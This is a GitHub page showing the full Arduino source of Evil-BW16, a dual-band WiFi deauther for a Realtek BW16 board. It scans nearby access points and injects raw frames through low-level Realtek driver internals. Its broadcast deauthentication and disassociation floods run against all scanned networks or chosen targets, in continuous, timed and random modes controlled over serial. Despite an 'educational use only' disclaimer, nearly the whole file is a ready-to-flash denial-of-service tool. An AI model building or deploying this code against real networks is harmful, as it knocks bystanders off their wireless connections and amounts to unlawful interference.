-
Notifications
You must be signed in to change notification settings - Fork 3
/
Evil-BW16-v1-0-1.ino
730 lines (663 loc) · 24.7 KB
/
Evil-BW16-v1-0-1.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
/*
Evil-BW16 - WiFi Dual band deauther
Copyright (c) 2024 7h30th3r0n3
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Disclaimer:
This tool, Evil-BW16, is developed for educational and ethical testing purposes only.
Any misuse or illegal use of this tool is strictly prohibited. The creator of Evil-BW16
assumes no liability and is not responsible for any misuse or damage caused by this tool.
Users are required to comply with all applicable laws and regulations in their jurisdiction
regarding network testing and ethical hacking.
*/
#include <Arduino.h>
#include <vector>
#include "wifi_conf.h"
#include "wifi_util.h"
#include "wifi_structures.h"
#include "WiFi.h"
//==========================
// User Configuration
//==========================
#define WIFI_SSID "7h30th3r0n35Ghz"
#define WIFI_PASS "5Ghz7h30th3r0n3Pass"
#define WIFI_CHANNEL 1
bool USE_LED = true;
// Attack parameters
unsigned long last_cycle = 0;
unsigned long cycle_delay = 2000; // Delay between attack cycles (ms)
unsigned long scan_time = 5000; // WiFi scan duration (ms)
unsigned long num_send_frames= 3;
int start_channel = 1; // 1 => 2.4GHz start, 36 => 5GHz only
bool scan_between_cycles = false; // If true, scans between each attack cycle
uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // Broadcast
//-------------------
// Timed Attack
//-------------------
bool timedAttackEnabled = false;
unsigned long attackStartTime = 0;
unsigned long attackDuration = 10000; // default 10 seconds
//==========================================================
// Frame Structures
//==========================================================
typedef struct {
uint16_t frame_control = 0xC0; // Deauth
uint16_t duration = 0xFFFF;
uint8_t destination[6];
uint8_t source[6];
uint8_t access_point[6];
const uint16_t sequence_number = 0;
uint16_t reason = 0x06;
} DeauthFrame;
typedef struct {
uint16_t frame_control = 0xA0; // Disassociation
uint16_t duration = 0xFFFF;
uint8_t destination[6];
uint8_t source[6];
uint8_t access_point[6];
const uint16_t sequence_number = 0;
uint16_t reason = 0x08;
} DisassocFrame;
//==========================================================
// Data Structures
//==========================================================
struct WiFiScanResult {
bool selected = false;
String ssid;
String bssid_str;
uint8_t bssid[6];
short rssi;
uint channel;
};
struct WiFiStationResult {
bool selected = false;
String mac_str;
uint8_t mac[6];
short rssi;
};
//==========================================================
// Externs & Prototypes (Realtek / Ameba Specific)
//==========================================================
extern uint8_t* rltk_wlan_info;
extern "C" void* alloc_mgtxmitframe(void* ptr);
extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control);
extern "C" int dump_mgntframe(void* ptr, void* frame_control);
// Typically: int wifi_get_mac_address(char *mac);
extern "C" int wifi_get_mac_address(char *mac);
//==========================================================
// Function Prototypes
//==========================================================
void wifi_tx_raw_frame(void* frame, size_t length);
void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason = 0x06);
void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason = 0x08);
int scanNetworks();
void printScanResults();
void handleCommand(String command);
void targetAttack();
void generalAttack();
void attackCycle();
void startTimedAttack(unsigned long durationMs);
void checkTimedAttack();
//==========================================================
// Global Vectors
//==========================================================
std::vector<WiFiScanResult> scan_results;
std::vector<WiFiScanResult> target_aps;
//==========================================================
// Disassociation Attack Control
//==========================================================
bool disassoc_enabled = false; // If true, perform continuous disassoc
unsigned long disassoc_interval = 1000; // Interval in ms
unsigned long last_disassoc_attack = 0;
//==========================================================
// Raw Frame Injection
//==========================================================
void wifi_tx_raw_frame(void* frame, size_t length) {
void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10);
void *frame_control = alloc_mgtxmitframe(ptr + 0xae0);
if (frame_control != 0) {
update_mgntframe_attrib(ptr, frame_control + 8);
memset((void *)*(uint32_t *)(frame_control + 0x80), 0, 0x68);
uint8_t *frame_data = (uint8_t *)*(uint32_t *)(frame_control + 0x80) + 0x28;
memcpy(frame_data, frame, length);
*(uint32_t *)(frame_control + 0x14) = length;
*(uint32_t *)(frame_control + 0x18) = length;
dump_mgntframe(ptr, frame_control);
}
}
//==========================================================
// Deauth & Disassoc
//==========================================================
void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason) {
DeauthFrame frame;
memcpy(&frame.source, src_mac, 6);
memcpy(&frame.access_point, src_mac, 6);
memcpy(&frame.destination, dst_mac, 6);
frame.reason = reason;
wifi_tx_raw_frame((void*)&frame, sizeof(DeauthFrame));
}
void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason) {
DisassocFrame frame;
memcpy(&frame.source, src_mac, 6);
memcpy(&frame.access_point, src_mac, 6);
memcpy(&frame.destination, dst_mac, 6);
frame.reason = reason;
wifi_tx_raw_frame((void*)&frame, sizeof(DisassocFrame));
}
//==========================================================
// Sorting Helper
//==========================================================
void sortByChannel(std::vector<WiFiScanResult> &results) {
for (size_t i = 0; i < results.size(); i++) {
size_t min_idx = i;
for (size_t j = i + 1; j < results.size(); j++) {
if (results[j].channel < results[min_idx].channel) {
min_idx = j;
}
}
if (min_idx != i) {
WiFiScanResult temp = results[i];
results[i] = results[min_idx];
results[min_idx] = temp;
}
}
}
//==========================================================
// Wi-Fi Scan Callback
//==========================================================
rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) {
if (scan_result->scan_complete == 0) {
rtw_scan_result_t *record = &scan_result->ap_details;
record->SSID.val[record->SSID.len] = 0;
// Keep only APs >= start_channel if you want to filter 5GHz
if (record->channel >= start_channel) {
WiFiScanResult result;
result.ssid = String((const char*) record->SSID.val);
result.channel = record->channel;
result.rssi = record->signal_strength;
memcpy(&result.bssid, &record->BSSID, 6);
char bssid_str[20];
snprintf(bssid_str, sizeof(bssid_str),
"%02X:%02X:%02X:%02X:%02X:%02X",
result.bssid[0], result.bssid[1], result.bssid[2],
result.bssid[3], result.bssid[4], result.bssid[5]);
result.bssid_str = bssid_str;
scan_results.push_back(result);
}
} else {
// Scan completed
}
return RTW_SUCCESS;
}
//==========================================================
// Start a WiFi Scan
//==========================================================
int scanNetworks() {
Serial.println("Starting WiFi scan...");
scan_results.clear();
if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) {
if (USE_LED) digitalWrite(LED_G, HIGH);
delay(scan_time);
Serial.println("Scan completed!");
// Sort results by channel
sortByChannel(scan_results);
if (USE_LED) digitalWrite(LED_G, LOW);
return 0;
} else {
Serial.println("Failed to start the scan!");
return 1;
}
}
//==========================================================
// Print Scan Results
//==========================================================
void printScanResults() {
Serial.println("Detected networks:");
for (size_t i = 0; i < scan_results.size(); i++) {
String freq = (scan_results[i].channel >= 36) ? "5GHz" : "2.4GHz";
Serial.print(i);
Serial.print("\tSSID: ");
Serial.print(scan_results[i].ssid);
Serial.print("\tBSSID: ");
Serial.print(scan_results[i].bssid_str);
Serial.print("\tChannel: ");
Serial.print(scan_results[i].channel);
Serial.print("\tRSSI: ");
Serial.print(scan_results[i].rssi);
Serial.print(" dBm\t");
Serial.println(freq);
}
}
//==========================================================
// Attack State Variables
//==========================================================
bool attack_enabled = false;
bool scan_enabled = false;
bool target_mode = false;
//==========================================================
// Timed Attack
//==========================================================
void startTimedAttack(unsigned long durationMs) {
timedAttackEnabled = true;
attackStartTime = millis();
attackDuration = durationMs;
attack_enabled = true;
}
void checkTimedAttack() {
if(timedAttackEnabled && (millis() - attackStartTime > attackDuration)) {
attack_enabled = false;
timedAttackEnabled = false;
Serial.println("[INFO] Timed attack ended.");
}
}
//==========================================================
// Handle Incoming Commands
//==========================================================
void handleCommand(String command) {
command.trim();
// Deauth Attack Commands
if(command.equalsIgnoreCase("start")) {
attack_enabled = true;
Serial.println("[INFO] Deauthentication Attack started.");
}
else if(command.equalsIgnoreCase("stop")) {
// Unified stop command: Stops all active attacks
attack_enabled = false;
disassoc_enabled = false;
Serial.println("[INFO] All attacks stopped.");
}
else if(command.equalsIgnoreCase("scan")) {
scan_enabled = true;
Serial.println("[INFO] Starting scan...");
if(scanNetworks() == 0) {
printScanResults();
scan_enabled = false;
Serial.println("[INFO] Scan completed.");
}
else {
Serial.println("[ERROR] Scan failed.");
}
}
else if(command.equalsIgnoreCase("results")) {
if(!scan_results.empty()) {
printScanResults();
}
else {
Serial.println("[INFO] No scan results available. Try 'scan' first.");
}
}
//==========================
// Timed Attack
//==========================
else if(command.startsWith("attack_time ")) {
String valStr = command.substring(String("attack_time ").length());
unsigned long durationMs = valStr.toInt();
if(durationMs > 0) {
startTimedAttack(durationMs);
Serial.println("[INFO] Timed attack started for " + String(durationMs) + " ms.");
}
else {
Serial.println("[ERROR] Invalid attack duration.");
}
}
//==========================
// Disassociation Attack Commands (Start Only)
//==========================
else if(command.equalsIgnoreCase("disassoc")) {
if(!disassoc_enabled) {
disassoc_enabled = true;
Serial.println("[INFO] Continuous Disassociation Attack started.");
}
else {
Serial.println("[INFO] Disassociation Attack is already running.");
}
}
//==========================
// Random Channel Attack
//==========================
else if(command.equalsIgnoreCase("random_attack")) {
if(!scan_results.empty()) {
size_t idx = random(0, scan_results.size());
uint8_t randChannel = scan_results[idx].channel;
wifi_set_channel(randChannel);
for(int j = 0; j < num_send_frames; j++) {
wifi_tx_deauth_frame(scan_results[idx].bssid, dst_mac, 2);
Serial.print("[RANDOM ATTACK] Deauth ");
Serial.print(j + 1);
Serial.print(" => ");
Serial.print(scan_results[idx].ssid);
Serial.print(" on channel ");
Serial.println(randChannel);
}
}
else {
Serial.println("[ERROR] No AP results available. Run 'scan' first.");
}
}
//==========================
// "set" Command (Existing)
//==========================
else if(command.startsWith("set ")) {
String setting = command.substring(4);
setting.trim();
int space_index = setting.indexOf(' ');
if(space_index != -1) {
String key = setting.substring(0, space_index);
String value = setting.substring(space_index + 1);
value.replace(" ", "");
if(key.equalsIgnoreCase("cycle_delay")) {
cycle_delay = value.toInt();
Serial.println("[INFO] Updated cycle_delay to " + String(cycle_delay) + " ms.");
}
else if(key.equalsIgnoreCase("scan_time")) {
scan_time = value.toInt();
Serial.println("[INFO] Updated scan_time to " + String(scan_time) + " ms.");
}
else if(key.equalsIgnoreCase("num_frames")) {
num_send_frames = value.toInt();
Serial.println("[INFO] Updated num_send_frames to " + String(num_send_frames) + ".");
}
else if(key.equalsIgnoreCase("start_channel")) {
start_channel = value.toInt();
Serial.println("[INFO] Updated start_channel to " + String(start_channel) + ".");
}
else if(key.equalsIgnoreCase("scan_cycles")) {
if(value.equalsIgnoreCase("on")) {
scan_between_cycles = true;
Serial.println("[INFO] Scan between attack cycles activated.");
}
else if(value.equalsIgnoreCase("off")) {
scan_between_cycles = false;
Serial.println("[INFO] Scan between attack cycles deactivated.");
}
else {
Serial.println("[ERROR] Invalid value for scan_cycles. Use 'on' or 'off'.");
}
}
else if(key.equalsIgnoreCase("led")) {
if(value.equalsIgnoreCase("on")) {
USE_LED = true;
Serial.println("[INFO] LEDs activated.");
}
else if(value.equalsIgnoreCase("off")) {
USE_LED = false;
Serial.println("[INFO] LEDs deactivated.");
}
else {
Serial.println("[ERROR] Invalid value for LED. Use 'set led on' or 'set led off'.");
}
}
else if(key.equalsIgnoreCase("target")) {
// e.g., set target 1,2,3
target_aps.clear();
target_mode = false;
int start = 0;
int end = 0;
while((end = value.indexOf(',', start)) != -1) {
String index_str = value.substring(start, end);
int target_index = index_str.toInt();
if(target_index >= 0 && target_index < (int)scan_results.size()) {
target_aps.push_back(scan_results[target_index]);
}
else {
Serial.println("[ERROR] Invalid target index: " + index_str);
}
start = end + 1;
}
// Last index
if(start < value.length()) {
String index_str = value.substring(start);
int target_index = index_str.toInt();
if(target_index >= 0 && target_index < (int)scan_results.size()) {
target_aps.push_back(scan_results[target_index]);
}
else {
Serial.println("[ERROR] Invalid target index: " + index_str);
}
}
if(!target_aps.empty()) {
target_mode = true;
Serial.println("[INFO] Targeting the following APs:");
for(size_t i = 0; i < target_aps.size(); i++) {
Serial.print("- SSID: ");
Serial.print(target_aps[i].ssid);
Serial.print(" BSSID: ");
Serial.println(target_aps[i].bssid_str);
}
}
else {
target_mode = false;
Serial.println("[ERROR] No valid targets selected.");
}
}
else {
Serial.println("[ERROR] Unknown setting: " + key);
}
}
else {
Serial.println("[ERROR] Invalid format. Use: set <key> <value>");
}
}
else if(command.equalsIgnoreCase("info")) {
Serial.println("[INFO] Current Configuration:");
Serial.println("Cycle Delay: " + String(cycle_delay) + " ms");
Serial.println("Scan Time: " + String(scan_time) + " ms");
Serial.println("Number of Frames per AP: " + String(num_send_frames));
Serial.println("Start Channel: " + String(start_channel));
Serial.println("Scan between attack cycles: " + String(scan_between_cycles ? "Enabled" : "Disabled"));
Serial.println("LEDs: " + String(USE_LED ? "On" : "Off"));
if(target_mode && !target_aps.empty()) {
Serial.println("[INFO] Targeted APs:");
for(size_t i = 0; i < target_aps.size(); i++) {
Serial.print("- SSID: ");
Serial.print(target_aps[i].ssid);
Serial.print(" BSSID: ");
Serial.println(target_aps[i].bssid_str);
}
}
else {
Serial.println("[INFO] No APs targeted.");
}
}
else if(command.equalsIgnoreCase("help")) {
Serial.println("[HELP] Available commands:");
Serial.println("- start: Begin the deauth attack cycle.");
Serial.println("- stop: Stop all attack cycles.");
Serial.println("- scan: Perform a WiFi scan and display results.");
Serial.println("- results: Show last scan results.");
Serial.println("- disassoc: Begin continuous disassociation attacks.");
Serial.println("- random_attack: Deauth a randomly chosen AP from the scan list.");
Serial.println("- attack_time <ms>: Start a timed attack for the specified duration.");
Serial.println("- set <key> <value>: Update configuration values:");
Serial.println(" * target <indices>: Set target APs by their indices, e.g., 'set target 1,3,5'.");
Serial.println(" * cycle_delay (ms): Delay between scan/deauth cycles.");
Serial.println(" * scan_time (ms): Duration of WiFi scans.");
Serial.println(" * num_frames: Number of frames sent per AP.");
Serial.println(" * start_channel: Start channel for scanning (1 or 36).");
Serial.println(" * scan_cycles: on/off - Enable or disable scan between attack cycles.");
Serial.println(" * led on/off: Enable or disable LEDs.");
Serial.println("- info: Display the current configuration.");
Serial.println("- help: Display this help message.");
}
else {
Serial.println("[ERROR] Unknown command. Type 'help' for a list of commands.");
}
}
//==========================================================
// Attack Functions
//==========================================================
void targetAttack() {
if(target_mode && attack_enabled) {
for(size_t i = 0; i < target_aps.size(); i++) {
wifi_set_channel(target_aps[i].channel);
for(int j = 0; j < num_send_frames; j++) {
wifi_tx_deauth_frame(target_aps[i].bssid, dst_mac, 2);
if(USE_LED) {
digitalWrite(LED_B, HIGH);
delay(50);
digitalWrite(LED_B, LOW);
}
Serial.print("Deauth frame ");
Serial.print(j + 1);
Serial.print(" => ");
Serial.print(target_aps[i].ssid);
Serial.print(" (");
Serial.print(target_aps[i].bssid_str);
Serial.print(") on channel ");
Serial.println(target_aps[i].channel);
}
}
}
}
void generalAttack() {
if(!target_mode && attack_enabled) {
attackCycle();
}
}
void attackCycle() {
Serial.println("Starting attack cycle...");
uint8_t currentChannel = 0xFF;
for(size_t i = 0; i < scan_results.size(); i++) {
uint8_t targetChannel = scan_results[i].channel;
if(targetChannel != currentChannel) {
wifi_set_channel(targetChannel);
currentChannel = targetChannel;
}
for(int j = 0; j < num_send_frames; j++) {
wifi_tx_deauth_frame(scan_results[i].bssid, dst_mac, 2);
if(USE_LED) {
digitalWrite(LED_B, HIGH);
delay(50);
digitalWrite(LED_B, LOW);
}
Serial.print("Deauth frame ");
Serial.print(j + 1);
Serial.print(" => ");
Serial.print(scan_results[i].ssid);
Serial.print(" (");
Serial.print(scan_results[i].bssid_str);
Serial.print(") on channel ");
Serial.println(scan_results[i].channel);
}
}
Serial.println("Attack cycle completed.");
}
//==========================================================
// Setup
//==========================================================
void setup() {
Serial.begin(115200);
if(USE_LED) {
pinMode(LED_R, OUTPUT);
pinMode(LED_G, OUTPUT);
pinMode(LED_B, OUTPUT);
// Simple LED test sequence
digitalWrite(LED_R, HIGH); delay(200); digitalWrite(LED_R, LOW);
digitalWrite(LED_G, HIGH); delay(200); digitalWrite(LED_G, LOW);
digitalWrite(LED_B, HIGH); delay(200); digitalWrite(LED_B, LOW);
digitalWrite(LED_R, HIGH); digitalWrite(LED_G, HIGH);
delay(200);
digitalWrite(LED_R, LOW); digitalWrite(LED_G, LOW);
digitalWrite(LED_G, HIGH); digitalWrite(LED_B, HIGH);
delay(200);
digitalWrite(LED_G, LOW); digitalWrite(LED_B, LOW);
digitalWrite(LED_R, HIGH); digitalWrite(LED_B, HIGH);
delay(200);
digitalWrite(LED_R, LOW); digitalWrite(LED_B, LOW);
digitalWrite(LED_R, HIGH); digitalWrite(LED_G, HIGH); digitalWrite(LED_B, HIGH);
delay(200);
digitalWrite(LED_R, LOW); digitalWrite(LED_G, LOW); digitalWrite(LED_B, LOW);
}
Serial.println("Initializing WiFi in hidden AP mode...");
wifi_on(RTW_MODE_AP);
wifi_start_ap_with_hidden_ssid(WIFI_SSID,
RTW_SECURITY_WPA2_AES_PSK,
WIFI_PASS,
11, // keyID
18, // SSID length
WIFI_CHANNEL);
Serial.println("Hidden AP started. Selected channel: " + String(WIFI_CHANNEL));
last_cycle = millis();
}
//==========================================================
// Main Loop
//==========================================================
void loop() {
// Handle commands from Serial
if(Serial.available()) {
String command = Serial.readStringUntil('\n');
handleCommand(command);
}
// Timed Attack check
checkTimedAttack();
// Attack cycles
if(millis() - last_cycle > cycle_delay) {
if(attack_enabled) {
// Optionally perform a scan between cycles
if(scan_between_cycles) {
Serial.println("[INFO] Starting scan between attack cycles...");
if(scanNetworks() == 0) {
printScanResults();
}
else {
Serial.println("[ERROR] Scan failed.");
}
}
if(target_mode) {
targetAttack();
}
else {
generalAttack();
}
}
last_cycle = millis();
}
//===============================
// CONTINUOUS DISASSOC ATTACK
//===============================
if(disassoc_enabled && (millis() - last_disassoc_attack >= disassoc_interval)) {
last_disassoc_attack = millis();
// Decide which list of APs to attack
const std::vector<WiFiScanResult> &aps_to_attack =
(target_mode && !target_aps.empty()) ? target_aps : scan_results;
if(aps_to_attack.empty()) {
Serial.println("[ERROR] No APs available for Disassociation Attack. Perform a scan or set targets first.");
return;
}
for(size_t i = 0; i < aps_to_attack.size(); i++) {
wifi_set_channel(aps_to_attack[i].channel);
for(int j = 0; j < num_send_frames; j++) {
// Reason code 8 => Disassociated because station left
wifi_tx_disassoc_frame(aps_to_attack[i].bssid, dst_mac, 0x08);
// Optional LED blink
if(USE_LED) {
digitalWrite(LED_B, HIGH);
delay(50);
digitalWrite(LED_B, LOW);
}
Serial.print("[DISASSOC] Frame ");
Serial.print(j + 1);
Serial.print(" => ");
Serial.print(aps_to_attack[i].ssid);
Serial.print(" (");
Serial.print(aps_to_attack[i].bssid_str);
Serial.print(") on channel ");
Serial.println(aps_to_attack[i].channel);
}
}
Serial.println("[DISASSOC] Disassociation Attack cycle completed.");
}
}